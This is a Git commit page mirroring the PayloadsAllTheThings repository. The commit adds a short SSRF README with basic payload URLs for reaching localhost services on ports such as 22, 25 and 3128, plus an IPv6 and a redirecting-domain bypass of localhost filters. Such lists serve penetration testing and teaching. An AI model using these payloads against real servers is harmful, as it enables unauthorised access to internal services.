wanderer/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-09-28 23:41:17 +02:00
Code Issues Releases Activity

SSRF payloads

Browse Source
This commit is contained in:
swisskyrepo 2016-10-18 14:54:41 +07:00
parent c097f222f4
commit a76711ed59
1 changed files with 28 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

34
SSRF/README.md
View File

@ -1,12 +1,34 @@
# Title
Lorem
# Server-Side Request Forgery
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him.
## Vuln
## Exploit
Basic SSRF v1
```
Code
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
```
Basic SSRF v2
```
http://localhost:80
http://localhost:443
http://localhost:22
```
Bypass localhost with [::]
```
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
```
Bypass localhost with a domain redirecting to locahost
```
http://n-pn.info
```
## Thanks to
* Lorem
* Ipsum
*